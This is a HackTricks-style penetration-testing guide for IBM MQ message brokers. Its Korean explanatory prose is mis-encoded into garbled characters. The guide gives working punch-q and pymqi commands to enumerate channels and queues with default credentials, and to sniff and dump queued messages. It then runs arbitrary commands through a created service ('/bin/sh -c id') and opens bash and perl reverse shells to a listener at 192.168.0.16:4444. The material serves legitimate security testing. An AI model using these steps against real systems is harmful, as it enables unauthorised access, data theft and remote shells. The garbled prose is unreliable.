1414 - Pentesting IBM MQ
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
κΈ°λ³Έ μ 보
IBM MQλ λ©μμ§ νλ₯Ό κ΄λ¦¬νκΈ° μν IBM κΈ°μ μ λλ€. λ€λ₯Έ λ©μμ§ λΈλ‘컀 κΈ°μ κ³Ό λ§μ°¬κ°μ§λ‘, μμ°μμ μλΉμ κ°μ μ 보λ₯Ό μμ , μ μ₯, μ²λ¦¬ λ° λΆλ₯νλ λ° μ λ νκ³ μμ΅λλ€.
κΈ°λ³Έμ μΌλ‘, IBM MQλ TCP ν¬νΈ 1414λ₯Ό λ ΈμΆν©λλ€. λλλ‘, HTTP REST APIλ ν¬νΈ 9443μμ λ ΈμΆλ μ μμ΅λλ€. λ©νΈλ¦(ν둬ν μ°μ€)μ TCP ν¬νΈ 9157μμ μ κ·Όν μ μμ΅λλ€.
IBM MQ TCP ν¬νΈ 1414λ λ©μμ§, ν, μ±λ λ±μ μ‘°μνλ λ° μ¬μ©λ μ μμ§λ§, μΈμ€ν΄μ€λ₯Ό μ μ΄νλ λ°λ μ¬μ©λ μ μμ΅λλ€.
IBMμ https://www.ibm.com/docs/en/ibm-mqμμ μ¬μ©ν μ μλ λ°©λν κΈ°μ λ¬Έμλ₯Ό μ 곡ν©λλ€.
λꡬ
μ¬μ΄ μ΅μ€νλ‘μμ μν μΆμ² λꡬλ **punch-q**λ‘, Dockerλ₯Ό μ¬μ©ν©λλ€. μ΄ λꡬλ Python λΌμ΄λΈλ¬λ¦¬ pymqiλ₯Ό μ κ·Ήμ μΌλ‘ μ¬μ©ν©λλ€.
λ³΄λ€ μλμ μΈ μ κ·Ό λ°©μμ μνλ€λ©΄, Python λΌμ΄λΈλ¬λ¦¬ **pymqi**λ₯Ό μ¬μ©νμΈμ. IBM MQ μ’ μμ±μ΄ νμν©λλ€.
pymqi μ€μΉ
IBM MQ μ’ μμ±μ μ€μΉνκ³ λ‘λν΄μΌ ν©λλ€:
- https://login.ibm.com/μμ κ³μ (IBMid)μ μμ±ν©λλ€.
- https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fcμμ IBM MQ λΌμ΄λΈλ¬λ¦¬λ₯Ό λ€μ΄λ‘λν©λλ€. Linux x86_64μ κ²½μ° 9.0.0.4-IBM-MQC-LinuxX64.tar.gzμ λλ€.
- μμΆμ νλλ€ (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). sudo ./mqlicense.shλ₯Ό μ€ννμ¬ λΌμ΄μΌμ€ 쑰건μ λμν©λλ€.
Kali Linuxλ₯Ό μ¬μ©νλ κ²½μ°, νμΌ
mqlicense.shλ₯Ό μμ ν©λλ€: λ€μ μ€(105-110ν μ¬μ΄)μ μ κ±°/μ£Όμ μ²λ¦¬ν©λλ€:if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- λ€μ ν¨ν€μ§λ₯Ό μ€μΉν©λλ€:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- κ·Έλ° λ€μ,
.soνμΌμ LDμ μμλ‘ μΆκ°ν©λλ€:export LD_LIBRARY_PATH=/opt/mqm/lib64, λ€λ₯Έ λꡬλ₯Ό μ΄λ¬ν μ’ μμ±μ μ¬μ©νμ¬ μ€ννκΈ° μ μ.
κ·Έλ° λ€μ, νλ‘μ νΈ pymqiλ₯Ό ν΄λ‘ ν μ μμ΅λλ€: ν₯λ―Έλ‘μ΄ μ½λ μ€λν«, μμ λ±μ΄ ν¬ν¨λμ΄ μμ΅λλ€. λλ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ§μ μ€μΉν μ μμ΅λλ€: pip install pymqi.
Using punch-q
With Docker
κ°λ¨ν μ¬μ©νμΈμ: sudo docker run --rm -ti leonjza/punch-q.
Without Docker
νλ‘μ νΈ punch-qλ₯Ό ν΄λ‘ ν λ€μ, μ€μΉλ₯Ό μν΄ readmeλ₯Ό λ°λ₯΄μΈμ (pip install -r requirements.txt && python3 setup.py install).
κ·Έ ν, punch-q λͺ
λ ΉμΌλ‘ μ¬μ©ν μ μμ΅λλ€.
Enumeration
punch-q λλ pymqiλ₯Ό μ¬μ©νμ¬ ν κ΄λ¦¬μ μ΄λ¦, μ¬μ©μ, μ±λ λ° νλ₯Ό μ΄κ±°ν΄ λ³Ό μ μμ΅λλ€.
Queue Manager
λλλ‘, ν κ΄λ¦¬μ μ΄λ¦μ μ»λ κ²μ λν 보νΈκ° μμ΅λλ€:
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-qλ κΈ°μ‘΄ μ±λμ μ°ΎκΈ° μν΄ λ΄λΆ(μμ κ°λ₯ν) λ¨μ΄ λͺ©λ‘μ μ¬μ©ν©λλ€. μ¬μ© μ:
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
μΌλΆ IBM MQ μΈμ€ν΄μ€λ μΈμ¦λμ§ μμ MQ μμ²μ νμ©νλ―λ‘ --username / --passwordκ° νμνμ§ μμ΅λλ€. λ¬Όλ‘ , μ κ·Ό κΆνμ λ€λ₯Ό μ μμ΅λλ€.
νλμ μ±λ μ΄λ¦(μ¬κΈ°μλ DEV.ADMIN.SVRCONN)μ μ»μΌλ©΄, λ€λ₯Έ λͺ¨λ μ±λμ μ΄κ±°ν μ μμ΅λλ€.
μ΄κ±°λ κΈ°λ³Έμ μΌλ‘ pymqiμ μ΄ μ½λ μ€λν« code/examples/dis_channels.pyλ‘ μνν μ μμ΅λλ€:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
β¦ νμ§λ§ punch-qλ κ·Έ λΆλΆλ ν¬ν¨νκ³ μμ΅λλ€ (λ λ§μ μ 보μ ν¨κ»!). λ€μκ³Ό κ°μ΄ μ€νν μ μμ΅λλ€:
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
Queues
pymqi (dis_queues.py)μ ν¨κ» μ½λ μ€λν«μ΄ μμ§λ§ punch-qλ νμ λν λ λ§μ μ 보λ₯Ό κ²μν μ μκ² ν΄μ€λλ€:
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
ν(λ€)/μ±λ(λ€)μ λμμΌλ‘ νμ¬ λ©μμ§λ₯Ό μ€λννκ±°λ λ€νν μ μμ΅λλ€(λΉνκ΄΄μ μμ ). μμ:
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
λͺ¨λ μλ³λ νμ λν΄ λ°λ³΅νλ κ²μ μ£Όμ νμ§ λ§μμμ€.
μ½λ μ€ν
κ³μνκΈ° μ μ λͺ κ°μ§ μΈλΆμ 보: IBM MQλ μ¬λ¬ λ°©λ²μΌλ‘ μ μ΄ν μ μμ΅λλ€: MQSC, PCF, Control Command. μΌλ°μ μΈ λͺ©λ‘μ IBM MQ λ¬Έμμμ μ°Ύμ μ μμ΅λλ€. PCF (νλ‘κ·Έλλ¨ΈλΈ μ»€λ§¨λ ν¬λ§·)μ μΈμ€ν΄μ€μ μ격μΌλ‘ μνΈμμ©νκΈ° μν΄ μ°λ¦¬κ° μ§μ€νλ κ²μ λλ€. punch-qμ λλΆμ΄ pymqiλ PCF μνΈμμ©μ κΈ°λ°μΌλ‘ ν©λλ€.
PCF λͺ λ Ή λͺ©λ‘μ μ°Ύμ μ μμ΅λλ€:
- PCF λ¬Έμμμ, λ°
- μμμμ.
ν₯λ―Έλ‘μ΄ λͺ λ Ή μ€ νλλ
MQCMD_CREATE_SERVICEμ΄λ©°, κ·Έ λ¬Έμλ μ¬κΈ°μμ νμΈν μ μμ΅λλ€. μ΄ λͺ λ Ήμ μΈμ€ν΄μ€μ λ‘컬 νλ‘κ·Έλ¨μ κ°λ¦¬ν€λStartCommandλ₯Ό μΈμλ‘ μ¬μ©ν©λλ€ (μ:/bin/sh).λ¬Έμμλ μ΄ λͺ λ Ήμ λν κ²½κ³ λ μμ΅λλ€: βμ£Όμ: μ΄ λͺ λ Ήμ μ¬μ©μκ° mqm κΆνμΌλ‘ μμμ λͺ λ Ήμ μ€νν μ μλλ‘ νμ©ν©λλ€. μ΄ λͺ λ Ήμ μ¬μ©ν κΆνμ΄ λΆμ¬λλ©΄, μ μμ μ΄κ±°λ λΆμ£Όμν μ¬μ©μκ° μμ€ν μ΄λ λ°μ΄ν°λ₯Ό μμμν€λ μλΉμ€λ₯Ό μ μν μ μμ΅λλ€. μλ₯Ό λ€μ΄, νμ νμΌμ μμ νλ κ²μ λλ€.β
μ°Έκ³ : νμ IBM MQ λ¬Έμ(κ΄λ¦¬ μ°Έμ‘°)μ λ°λ₯΄λ©΄, μλΉμ€ μμ±μ μν λλ±ν MQSC λͺ λ Ή(
DEFINE SERVICE)μ μ€ννκΈ° μν΄/admin/action/qmgr/{qmgrName}/mqscμ HTTP μλν¬μΈνΈλ μμ΅λλ€. μ΄ μΈ‘λ©΄μ μμ§ μ¬κΈ°μμ λ€λ£¨μ΄μ§μ§ μμμ΅λλ€.
μ격 νλ‘κ·Έλ¨ μ€νμ μν PCFλ₯Ό μ¬μ©ν μλΉμ€ μμ±/μμ λ punch-qλ‘ μνν μ μμ΅λλ€:
μμ 1
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
IBM MQμ λ‘κ·Έμμ λͺ λ Ήμ΄ μ±κ³΅μ μΌλ‘ μ€νλμλ€κ³ μ½μ μ μμ΅λλ€:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
κΈ°κ³μμ κΈ°μ‘΄ νλ‘κ·Έλ¨μ λμ΄ν μλ μμ΅λλ€ (μ¬κΈ°μ /bin/doesnotexist β¦ μ‘΄μ¬νμ§ μμ΅λλ€):
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
νλ‘κ·Έλ¨ μ€νμ΄ λΉλκΈ°μ μ΄λΌλ μ μ μ μνμΈμ. λ°λΌμ μ΅μ€νλ‘μμ νμ©νκΈ° μν΄ λ λ²μ§Έ νλͺ©μ΄ νμν©λλ€ (리λ²μ€ μ Έ 리μ€λ, λ€λ₯Έ μλΉμ€μμ νμΌ μμ±, λ€νΈμν¬λ₯Ό ν΅ν λ°μ΄ν° μ μΆ β¦)
μμ 2
μ¬μ΄ 리λ²μ€ μ Έμ μν΄, punch-qλ λ κ°μ§ 리λ²μ€ μ Έ νμ΄λ‘λλ₯Ό μ μν©λλ€:
- νλλ bash
- νλλ perl
λ¬Όλ‘ execute λͺ
λ Ήμ΄λ‘ μ¬μ©μ μ μ νμ΄λ‘λλ₯Ό λ§λ€ μ μμ΅λλ€.
bashμ κ²½μ°:
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Perlμ λν΄:
β― sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Custom PCF
IBM MQ λ¬Έμλ₯Ό μμΈν μ΄ν΄λ³΄κ³ pymqi νμ΄μ¬ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ¬μ©νμ¬ punch-qμ ꡬνλμ§ μμ νΉμ PCF λͺ λ Ήμ ν μ€νΈν μ μμ΅λλ€.
Example:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
μμ μ΄λ¦μ μ°Ύμ μ μλ κ²½μ°, IBM MQ λ¬Έμλ₯Ό μ°Έμ‘°ν μ μμ΅λλ€.
_
MQCMD_REFRESH_CLUSTERμ μ (μμ§μ = 73). λ§€κ°λ³μMQCA_CLUSTER_NAME(μμ§μ = 2029)μ΄ νμνλ©°, μ΄λ_μΌ μ μμ΅λλ€ (λ¬Έμ: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
ν μ€νΈ νκ²½
IBM MQμ λμ λ° μ΅μ€νλ‘μμ ν μ€νΈνλ €λ©΄ Dockerλ₯Ό κΈ°λ°μΌλ‘ ν λ‘컬 νκ²½μ μ€μ ν μ μμ΅λλ€:
- ibm.com λ° cloud.ibm.comμ κ³μ μ΄ μμ΄μΌ ν©λλ€.
- λ€μμ μ¬μ©νμ¬ μ»¨ν μ΄λνλ IBM MQλ₯Ό μμ±ν©λλ€:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
κΈ°λ³Έμ μΌλ‘ μΈμ¦μ΄ νμ±νλμ΄ μμΌλ©°, μ¬μ©μ μ΄λ¦μ adminμ΄κ³ λΉλ°λ²νΈλ passw0rdμ
λλ€ (νκ²½ λ³μ MQ_ADMIN_PASSWORD). μ¬κΈ°μ ν κ΄λ¦¬μ μ΄λ¦μ MYQUEUEMGRλ‘ μ€μ λμ΄ μμ΅λλ€ (λ³μ MQ_QMGR_NAME).
IBM MQκ° μ€ν μ€μ΄λ©° ν¬νΈκ° λ ΈμΆλμ΄ μμ΄μΌ ν©λλ€:
β― sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
IBM MQ λ컀 μ΄λ―Έμ§μ μ΄μ λ²μ μ λ€μμ μμ΅λλ€: https://hub.docker.com/r/ibmcom/mq/.
References
- mgeekyβs gist - βPractical IBM MQ Penetration Testing notesβ
- MQ Jumping - DEFCON 15
- IBM MQ documentation
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


